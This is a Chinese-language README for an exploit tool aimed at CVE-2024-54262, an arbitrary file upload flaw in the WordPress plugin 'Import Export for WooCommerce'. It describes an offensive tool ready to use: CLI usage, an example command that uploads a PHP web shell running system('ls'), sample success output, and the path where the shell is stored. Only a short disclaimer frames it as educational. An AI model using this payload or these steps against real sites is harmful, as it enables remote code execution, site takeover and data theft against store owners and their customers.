CVE-2024-54262

利用CVE-2024-54262漏洞：WooCommerce导入导出插件中的任意文件上传

概述

此脚本利用WordPress插件"Import Export for WooCommerce"中的漏洞。该漏洞允许未授权用户上传任意文件，可能导致远程代码执行（RCE）。

功能：

• 版本检测：自动检查WordPress站点是否运行存在漏洞的插件版本。
• 身份验证：支持WordPress登录以进一步利用。
• 文件上传：允许上传恶意PHP文件以实现RCE。

前提条件：

1. Python 3.x
2. 所需的Python库：
   • requests
   • argparse

使用以下命令安装依赖：

pip install requests

3. 确保目标WordPress站点使用的是存在漏洞的插件版本。

用法：

usage: CVE-2024-54262.py [-h] --url URL --username USERNAME --password PASSWORD [--command COMMAND]

Exploit CVE-2024-54262: Arbitrary File Upload in Import Export for WooCommerce

options:
  -h, --help            show this help message and exit
  --url URL, -u URL     Base URL of the WordPress site
  --username USERNAME, -un USERNAME
                        Username for login
  --password PASSWORD, -p PASSWORD
                        Password for login
  --command COMMAND, -c COMMAND
                        PHP shell code to upload

示例：

 CVE-2024-54262.py --url https://example.com --username admin --password admin --command "<?php system('ls'); ?>"

输出说明

1. 站点存在漏洞。
   • 表示WordPress站点运行的是存在漏洞的插件版本。
2. 登录成功。
   • 确认使用提供的凭据成功登录。
3. root@kitploit:~

   {
       "status": true,
       "code": 104,
       "message": "Success",
       "data": {
           "file_name": "import_manual_1737090262.php",
           "total_requests": 1,
           "import_columns": "all",
           "product_search_type": "SKU",
           "product_operation": "create_new_update_existing",
           "field_separator": ","
       }
   }
   
   
   

• Shell名称：import_manual_1737090262.php
• Shell路径：wp-content/uploads/import-export-for-woocommerce/product/

免责声明

此工具仅用于教育目的。作者不对任何滥用或由此脚本造成的损害负责。未经明确许可擅自访问或利用系统是非法的且不道德的。